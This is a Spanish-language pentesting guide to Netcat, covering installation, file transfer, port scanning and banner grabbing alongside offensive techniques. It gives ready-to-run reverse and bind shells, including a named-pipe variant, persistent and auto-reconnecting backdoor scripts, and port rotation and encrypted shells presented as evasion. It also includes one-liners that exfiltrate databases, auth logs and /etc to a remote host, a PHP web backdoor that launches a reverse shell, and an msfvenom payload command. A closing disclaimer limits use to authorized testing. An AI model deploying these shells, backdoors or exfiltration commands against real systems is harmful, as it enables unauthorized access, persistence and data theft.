Netcat - La Navaja Suiza de las Redes
Netcat - La Navaja Suiza de las Redes
Section titled “Netcat - La Navaja Suiza de las Redes”Introducción
Section titled “Introducción”Netcat (nc) es conocido como “la navaja suiza de las redes” debido a su versatilidad y simplicidad. Es una herramienta fundamental en pentesting que permite leer y escribir datos a través de conexiones de red usando TCP o UDP. Su capacidad para establecer conexiones, transferir archivos, crear shells y realizar port scanning lo convierte en una herramienta indispensable.
¿Por qué usar Netcat?
Section titled “¿Por qué usar Netcat?”- Versatilidad: Múltiples funciones en una sola herramienta
- Simplicidad: Sintaxis clara y fácil de recordar
- Ubicuidad: Disponible en casi todos los sistemas Unix/Linux
- Ligero: Consume pocos recursos del sistema
- Confiable: Herramienta probada y estable
Casos de Uso Principales
Section titled “Casos de Uso Principales”- Reverse y Bind Shells: Establecer acceso remoto
- Transferencia de archivos: Envío seguro de datos
- Port scanning: Descubrimiento de servicios
- Banner grabbing: Identificación de servicios
- Proxy y relay: Redirección de tráfico
- Chat y comunicación: Canales de comunicación simples
Instalación y Versiones
Section titled “Instalación y Versiones”Instalación en Diferentes Sistemas
Section titled “Instalación en Diferentes Sistemas”# Ubuntu/Debiansudo apt updatesudo apt install netcat-openbsd # Versión recomendadasudo apt install netcat-traditional # Versión clásica
# CentOS/RHEL/Fedorasudo yum install ncsudo dnf install nc
# macOSbrew install netcat
# Verificar instalaciónnc -hwhich ncDiferencias entre Versiones
Section titled “Diferencias entre Versiones”| Versión | Características | Uso Recomendado |
|---|---|---|
| GNU Netcat | Versión original, básica | Sistemas legacy |
| OpenBSD Netcat | Más segura, sin -e | Sistemas modernos |
| Ncat (Nmap) | Características avanzadas, SSL | Pentesting avanzado |
| Traditional | Compatible con scripts antiguos | Compatibilidad |
# Verificar versiónnc -h 2>&1 | head -1
# Instalar Ncat (versión de Nmap)sudo apt install nmapncat --versionSintaxis Básica
Section titled “Sintaxis Básica”Comandos Fundamentales
Section titled “Comandos Fundamentales”# Sintaxis generalnc [opciones] [hostname] [puerto]
# Escuchar en un puerto (servidor)nc -l -p 4444
# Conectar a un servidornc 192.168.1.100 4444
# Escanear puertosnc -zv 192.168.1.100 1-1000Parámetros Principales
Section titled “Parámetros Principales”| Parámetro | Descripción | Ejemplo |
|---|---|---|
-l | Modo listen (servidor) | nc -l -p 4444 |
-p <puerto> | Especificar puerto | nc -l -p 8080 |
-e <programa> | Ejecutar programa | nc -l -p 4444 -e /bin/bash |
-v | Modo verbose | nc -lv -p 4444 |
-n | No resolver DNS | nc -nv 192.168.1.100 4444 |
-z | Port scanning | nc -zv host 1-1000 |
-u | Usar UDP | nc -lu -p 4444 |
-w <timeout> | Timeout de conexión | nc -w 5 host 4444 |
Shells con Netcat
Section titled “Shells con Netcat”Bind Shell
Section titled “Bind Shell”# En la máquina objetivo (víctima)nc -l -p 4444 -e /bin/bash
# En la máquina atacantenc 192.168.1.100 4444Reverse Shell
Section titled “Reverse Shell”# En la máquina atacante (listener)nc -l -p 4444
# En la máquina objetivonc 192.168.1.100 4444 -e /bin/bashShells sin -e (OpenBSD Netcat)
Section titled “Shells sin -e (OpenBSD Netcat)”# Reverse shell usando named pipesrm /tmp/f; mkfifo /tmp/fcat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.1.100 4444 > /tmp/f
# Bind shell usando named pipesrm /tmp/f; mkfifo /tmp/fnc -l -p 4444 < /tmp/f | /bin/bash > /tmp/f 2>&1Shells Persistentes
Section titled “Shells Persistentes”#!/bin/bashwhile true; do nc -l -p 4444 -e /bin/bash sleep 1doneTransferencia de Archivos
Section titled “Transferencia de Archivos”Envío de Archivos
Section titled “Envío de Archivos”# Receptor (servidor)nc -l -p 4444 > archivo_recibido.txt
# Emisor (cliente)nc 192.168.1.100 4444 < archivo_a_enviar.txtTransferencia de Directorios
Section titled “Transferencia de Directorios”# Enviar directorio completo# Receptor:nc -l -p 4444 | tar xzf -
# Emisor:tar czf - /directorio/importante | nc 192.168.1.100 4444Transferencia con Verificación
Section titled “Transferencia con Verificación”# Con checksum MD5# Receptor:nc -l -p 4444 > archivo.zip && md5sum archivo.zip
# Emisor:md5sum archivo.zip && nc 192.168.1.100 4444 < archivo.zipTransferencia Cifrada (con Ncat)
Section titled “Transferencia Cifrada (con Ncat)”# Receptor con SSLncat -l --ssl -p 4444 > archivo_seguro.txt
# Emisor con SSLncat --ssl 192.168.1.100 4444 < archivo_secreto.txtPort Scanning con Netcat
Section titled “Port Scanning con Netcat”Escaneo Básico
Section titled “Escaneo Básico”# Escanear un puerto específiconc -zv 192.168.1.100 22
# Escanear rango de puertosnc -zv 192.168.1.100 1-1000
# Escanear puertos comunesnc -zv 192.168.1.100 21 22 23 25 53 80 110 443 993 995Escaneo UDP
Section titled “Escaneo UDP”# Escanear puertos UDPnc -zuv 192.168.1.100 53 161 162 500Scripts de Escaneo
Section titled “Scripts de Escaneo”#!/bin/bashHOST=$1START_PORT=${2:-1}END_PORT=${3:-1000}
if [ $# -lt 1 ]; then echo "Uso: $0 <host> [puerto_inicio] [puerto_fin]" exit 1fi
echo "[+] Escaneando $HOST puertos $START_PORT-$END_PORT"
for port in $(seq $START_PORT $END_PORT); do timeout 1 nc -zv $HOST $port 2>&1 | grep -E "(open|succeeded)" && echo "Puerto $port: ABIERTO"doneBanner Grabbing
Section titled “Banner Grabbing”Identificación de Servicios
Section titled “Identificación de Servicios”# HTTPecho -e "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80
# SMTPnc 192.168.1.100 25
# FTPnc 192.168.1.100 21
# SSHnc 192.168.1.100 22
# Telnetnc 192.168.1.100 23Script de Banner Grabbing
Section titled “Script de Banner Grabbing”#!/bin/bashgrab_banner() { local host=$1 local port=$2 local service=$3
echo "[+] Grabbing banner for $service on $host:$port"
case $service in "http") echo -e "GET / HTTP/1.1\r\nHost: $host\r\n\r\n" | timeout 5 nc $host $port ;; "smtp") echo "EHLO test" | timeout 5 nc $host $port ;; "ftp") timeout 5 nc $host $port ;; *) timeout 5 nc $host $port ;; esac echo "----------------------------------------"}
# UsoHOST=${1:-192.168.1.100}
grab_banner $HOST 21 ftpgrab_banner $HOST 22 sshgrab_banner $HOST 25 smtpgrab_banner $HOST 80 httpgrab_banner $HOST 443 httpsTécnicas Avanzadas
Section titled “Técnicas Avanzadas”Proxy y Relay
Section titled “Proxy y Relay”# Crear un proxy simplemkfifo /tmp/pipenc -l -p 8080 < /tmp/pipe | nc 192.168.1.100 80 > /tmp/pipeChat entre Sistemas
Section titled “Chat entre Sistemas”# Sistema 1 (servidor)nc -l -p 4444
# Sistema 2 (cliente)nc 192.168.1.100 4444
# Ahora pueden chatear en tiempo realBackdoor Persistente
Section titled “Backdoor Persistente”#!/bin/bashwhile true; do nc -l -p 4444 -e /bin/bash 2>/dev/null sleep 5done &Túnel de Datos
Section titled “Túnel de Datos”# Túnel TCPnc -l -p 8080 | nc 192.168.1.100 80
# Túnel UDPnc -lu -p 5353 | nc -u 8.8.8.8 53Scripts de Automatización
Section titled “Scripts de Automatización”Multi-Listener
Section titled “Multi-Listener”#!/bin/bashPORTS=(4444 4445 4446 4447 4448)LOG_DIR="nc_logs_$(date +%Y%m%d_%H%M%S)"
mkdir -p $LOG_DIR
echo "[+] Iniciando múltiples listeners de Netcat"
for port in "${PORTS[@]}"; do echo "[+] Listener en puerto $port"
# Iniciar listener en background nc -l -p $port > $LOG_DIR/connection_$port.log 2>&1 &
echo "PID: $! - Puerto: $port" >> $LOG_DIR/listeners.txtdone
echo "[+] Listeners activos:"cat $LOG_DIR/listeners.txt
echo "[+] Para terminar todos los listeners:"echo "pkill -f 'nc -l'"Auto-Reconnect Shell
Section titled “Auto-Reconnect Shell”#!/bin/bashTARGET_HOST="192.168.1.100"TARGET_PORT="4444"DELAY=10
echo "[+] Auto-reconnect shell to $TARGET_HOST:$TARGET_PORT"
while true; do echo "[+] Attempting connection..."
# Intentar conexión if nc -zv $TARGET_HOST $TARGET_PORT 2>/dev/null; then echo "[+] Connection successful!" nc $TARGET_HOST $TARGET_PORT -e /bin/bash else echo "[-] Connection failed, retrying in $DELAY seconds..." fi
sleep $DELAYdoneFile Transfer Server
Section titled “File Transfer Server”#!/bin/bashPORT=${1:-8080}FILE_DIR=${2:-./files}
mkdir -p $FILE_DIR
echo "[+] Netcat File Transfer Server"echo "[+] Puerto: $PORT"echo "[+] Directorio: $FILE_DIR"
while true; do echo "[+] Esperando conexión en puerto $PORT..."
# Mostrar archivos disponibles echo "=== ARCHIVOS DISPONIBLES ===" > /tmp/file_list.txt ls -la $FILE_DIR >> /tmp/file_list.txt echo "=============================" >> /tmp/file_list.txt
# Enviar lista de archivos nc -l -p $PORT < /tmp/file_list.txt
echo "[+] Lista de archivos enviada"
# Esperar solicitud de archivo específico echo "[+] Esperando solicitud de archivo..." filename=$(nc -l -p $((PORT + 1)))
if [ -f "$FILE_DIR/$filename" ]; then echo "[+] Enviando archivo: $filename" nc -l -p $((PORT + 2)) < "$FILE_DIR/$filename" else echo "[-] Archivo no encontrado: $filename" echo "Archivo no encontrado" | nc -l -p $((PORT + 2)) fidoneEvasión y Anti-Detección
Section titled “Evasión y Anti-Detección”Ofuscación de Tráfico
Section titled “Ofuscación de Tráfico”# Usar puertos comunesnc -l -p 80 # HTTPnc -l -p 443 # HTTPSnc -l -p 53 # DNS
# Cambiar User-Agent (con Ncat)ncat --http-tunnel-auth user:pass proxy.com:8080 target.com 80Shells Cifrados
Section titled “Shells Cifrados”# Con Ncat y SSL# Servidor:ncat -l --ssl --ssl-cert cert.pem --ssl-key key.pem -p 4444 -e /bin/bash
# Cliente:ncat --ssl 192.168.1.100 4444Rotación de Puertos
Section titled “Rotación de Puertos”#!/bin/bashPORTS=(4444 8080 443 53 22)CURRENT_PORT=0
while true; do PORT=${PORTS[$CURRENT_PORT]} echo "[+] Usando puerto $PORT"
timeout 300 nc -l -p $PORT -e /bin/bash
# Rotar al siguiente puerto CURRENT_PORT=$(((CURRENT_PORT + 1) % ${#PORTS[@]}))
sleep 5doneCasos de Uso Específicos
Section titled “Casos de Uso Específicos”Exfiltración de Datos
Section titled “Exfiltración de Datos”# Exfiltrar base de datosmysqldump -u user -p database | nc 192.168.1.100 4444
# Exfiltrar logs del sistemacat /var/log/auth.log | nc 192.168.1.100 4444
# Exfiltrar archivos de configuracióntar czf - /etc | nc 192.168.1.100 4444Backdoor en Aplicaciones Web
Section titled “Backdoor en Aplicaciones Web”<?php// Simple PHP backdoor usando Netcatif(isset($_GET['cmd'])) { $cmd = $_GET['cmd']; if($cmd == 'shell') { system('nc 192.168.1.100 4444 -e /bin/bash &'); echo "Shell iniciado"; }}?>Monitoreo de Red
Section titled “Monitoreo de Red”#!/bin/bashmonitor_connections() { local target_host=$1 local target_port=$2
echo "[+] Monitoreando conexiones a $target_host:$target_port"
while true; do if nc -zv $target_host $target_port 2>/dev/null; then echo "[$(date)] $target_host:$target_port - UP" else echo "[$(date)] $target_host:$target_port - DOWN" fi sleep 30 done}
# Monitorear múltiples serviciosmonitor_connections 192.168.1.100 22 &monitor_connections 192.168.1.100 80 &monitor_connections 192.168.1.100 443 &
waitIntegración con Otras Herramientas
Section titled “Integración con Otras Herramientas”Con Nmap
Section titled “Con Nmap”# Usar Netcat después de Nmapnmap -p 1-1000 192.168.1.100 | grep open | while read line; do port=$(echo $line | cut -d'/' -f1) echo "[+] Probando puerto $port" timeout 5 nc -zv 192.168.1.100 $portdoneCon Metasploit
Section titled “Con Metasploit”# Usar Netcat como payload deliverymsfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf > shell.elf
# Listener con Netcatnc -l -p 4444Con SSH
Section titled “Con SSH”# Túnel SSH + Netcatssh -L 8080:localhost:4444 user@remote_hostnc localhost 8080Troubleshooting
Section titled “Troubleshooting”Problemas Comunes
Section titled “Problemas Comunes”# Problema: "Address already in use"# Solución: Verificar procesos usando el puertonetstat -tulpn | grep :4444lsof -i :4444kill -9 <PID>
# Problema: Conexión rechazada# Solución: Verificar firewalliptables -Lufw status
# Problema: No hay opción -e# Solución: Usar named pipes o instalar versión tradicionalapt install netcat-traditionalDebugging
Section titled “Debugging”# Modo verbose para debuggingnc -lvv -p 4444
# Verificar conectividadnc -zv target.com 4444
# Monitorear tráficotcpdump -i any -n port 4444Alternativas y Herramientas Relacionadas
Section titled “Alternativas y Herramientas Relacionadas”Ncat (Nmap Netcat)
Section titled “Ncat (Nmap Netcat)”# Características avanzadas de Ncatncat -l --ssl -p 4444 # SSL/TLSncat -l --proxy-type http -p 8080 # Proxy HTTPncat -l --chat -p 4444 # Chat multiusuarioncat --broker --listen -p 4444 # Broker mode# Alternativa más poderosasocat TCP-LISTEN:4444,fork EXEC:/bin/bashsocat FILE:`tty`,raw,echo=0 TCP:192.168.1.100:4444PowerShell (Windows)
Section titled “PowerShell (Windows)”# Equivalente en PowerShellTest-NetConnection -ComputerName 192.168.1.100 -Port 4444New-NetTCPSession -RemoteAddress 192.168.1.100 -RemotePort 4444Mejores Prácticas
Section titled “Mejores Prácticas”Seguridad
Section titled “Seguridad”# Usar timeout para evitar conexiones colgadastimeout 30 nc -l -p 4444
# Limitar conexiones por IPiptables -A INPUT -p tcp --dport 4444 -m limit --limit 3/min -j ACCEPT
# Logging de conexionesnc -l -p 4444 2>&1 | tee nc_connections.logPerformance
Section titled “Performance”# Optimizar buffer sizenc -l -p 4444 -s 192.168.1.100 # Bind a interfaz específica
# Usar UDP para transferencias rápidasnc -lu -p 4444 > large_file.datAutomatización
Section titled “Automatización”# Script wrapper para funciones comunesalias nc-listen='nc -l -p'alias nc-connect='nc -v'alias nc-scan='nc -zv'Recursos Adicionales
Section titled “Recursos Adicionales”Documentación Oficial
Section titled “Documentación Oficial”Herramientas Complementarias
Section titled “Herramientas Complementarias”- Socat: Versión más avanzada de Netcat
- Ncat: Netcat de Nmap con características SSL
- Cryptcat: Netcat con cifrado
- GNU Netcat: Versión original con más características
Cheat Sheets
Section titled “Cheat Sheets”Disclaimer Legal
Section titled “Disclaimer Legal”⚠️ IMPORTANTE: Esta documentación es únicamente para fines educativos y de investigación en ciberseguridad. El uso de Netcat debe realizarse exclusivamente en:
- Sistemas propios
- Entornos de laboratorio
- Pruebas de penetración autorizadas
El uso no autorizado puede constituir un delito. Los autores no se hacen responsables del mal uso de esta información.